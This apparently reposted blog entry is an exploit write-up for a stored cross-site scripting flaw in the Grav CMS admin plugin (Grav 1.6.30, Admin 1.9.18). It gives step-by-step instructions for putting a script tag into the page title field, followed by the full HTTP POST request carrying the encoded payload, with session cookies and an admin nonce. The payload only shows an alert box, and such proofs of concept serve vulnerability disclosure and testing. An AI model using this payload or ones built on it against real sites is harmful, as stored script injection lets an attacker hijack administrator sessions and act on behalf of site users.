Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86389790

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# Exploit Title: Grav CMS 1.6.30 Admin Plugin 1.9.18 - 'Page Title' Persistent Cross-Site Scripting
# Date: 13-12-2020
# Exploit Author: Sagar Banwa
# Vendor Homepage: https://getgrav.org/
# Software Link: https://getgrav.org/downloads
# Version: Grav v1.6.30 - Admin v1.9.18
# Tested on: Windows 10/Kali Linux
# Contact: https://www.linkedin.com/in/sagarbanwa/

Step to reproduce :

1) log in to the grav-admin panel 
2) Go to Pages 
3) Click on Add 
4) It will ask to Add Page
5) fill the following details as below 
   Page Title : <script>alert(1337)</script>
   Folder Name : sagar_Banwa
   Parent Page : /(root)
   Page Template : Default
   Value : yes
6) click on the Save button 
7) now Click on Pages again.
8) your page name will be listed as <script>alert(1337)</script>
9) Now click on the eye button to see the XSS or you can simply go to http://127.0.0.1/grav-admin/ the XSS will pop-up 

-------------------------------------
   
POST /grav-admin/admin/pages HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 230
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/grav-admin/admin/pages
Cookie: grav-site-a4a23f1-admin=ehrcji8qpnu8e50r839r4oe2on; grav-site-a4a23f1=u5438b49fft2b5d7610a53ne1d; grav-tabs-state={%22tab-options.routes.registration.Security%22:%22data.Security%22%2C%22tab-content.options.advanced%22:%22data.content%22}
Upgrade-Insecure-Requests: 1

data%5Btitle%5D=%3Cscript%3Ealert%281337%29%3C%2Fscript%3E&data%5Bfolder%5D=sagar_banwa&data%5Broute%5D=%2F&data%5Bname%5D=default&data%5Bvisible%5D=1&data%5Bblueprint%5D=&task=continue&admin-nonce=d488c0d8bdaf2978d50f174942d5279f

-----------------------------